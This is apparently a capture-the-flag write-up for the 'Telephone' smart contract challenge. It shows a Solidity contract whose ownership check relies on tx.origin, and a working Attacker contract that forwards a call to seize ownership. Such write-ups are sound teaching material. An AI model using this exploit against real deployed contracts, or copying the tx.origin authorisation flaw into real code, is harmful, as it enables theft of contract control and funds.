Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Goal
Change the owner of the Telephone smart contract
Exploit
Similar to the previous Coin Flip CTF, we will again need additional smart contract to complete this challenge, again this contract will be named Attacker
In order to win this challenge we need to change the owner of the contract, and looking into the code we can see that there is chageOwner() function, with some additional requirement. So let's jump to it!
As seen inside changeOwner() function, in order to change the owner we first make the following check:
if (tx.origin != msg.sender)
What this is checking is if the originator of the transaction is different from the msg.sender (the account from which changeOwner() function is called). With that in mind, in order to solve the challenge we will need to find a way to "forward" the call to changeOwner() from another smart contract. Kepp in mind that tx.origin will always be an externally owned account (EOA) and confusing tx.origin with msg.sender can lead to phishing-style attacks.
To exploit the contract we need to:
- create Attacker contract, and send the address of the the Telephone contract inside the Attacker contract
- create changeOwnerFromAttacker() external function inside the Attacker contract, inside this function we will call the changeOwner(_owner) function from Telephone smart contract, passing msg.sender as argument for the _owner, this is the part where we are forwarding the call
- call the changeOwnerFromAttacker() function inside the Attacker contract
- this will change the owner of the Telephone contract setting our EOA account as the owner
Attacker contract code
contract Attacker {
address private telephoneContractAddress;
constructor(address _tel) {
telephoneContractAddress = _tel;
}
function changeOwnerFromAttacker() external {
(bool success, ) = telephoneContractAddress.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));
require(success, "Transaction failed");
}
}